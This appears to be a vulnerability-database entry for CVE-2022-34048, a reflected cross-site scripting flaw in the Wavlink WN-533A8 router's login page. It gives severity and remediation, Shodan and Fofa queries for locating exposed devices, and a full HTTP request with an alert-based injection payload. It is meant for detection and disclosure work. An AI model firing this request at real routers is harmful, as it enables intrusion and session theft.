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CVE-2022-34048: Wavlink WN-533A8 - Cross-Site Scripting

TitleWavlink WN-533A8 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest firmware update provided by the vendor to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.049
CVE IDCVE-2022-34048
CWE IDCWE-79
Shodan Queryhttp.html:"Wavlink"http.html:"wavlink"http.title:"wi-fi app login"
Fofa Querytitle="wi-fi app login"body="wavlink"
Tags cve2022 cve wavlink xss router edb vuln

🔍 Vulnerability Description

Wavlink WN-533A8 M33A8.V5030.190716 contains a reflected cross-site scripting vulnerability via the login_page parameter.

🌐 HTTP Request

POST /cgi-bin/login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Connection: close
Content-Length: 251
Accept-Encoding: gzip

newUI=1&page=login&username=admin&langChange=0&ipaddr=196.219.234.10&login_page=x");alert(9);x=("&homepage=main.html&sysinitpage=sysinit.shtml&wizardpage=wiz.shtml&hostname=0.0.0.1&key=M94947765&password=ab4e98e4640b6c1ee88574ec0f13f908&lang_select=en

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34048.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-34048.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A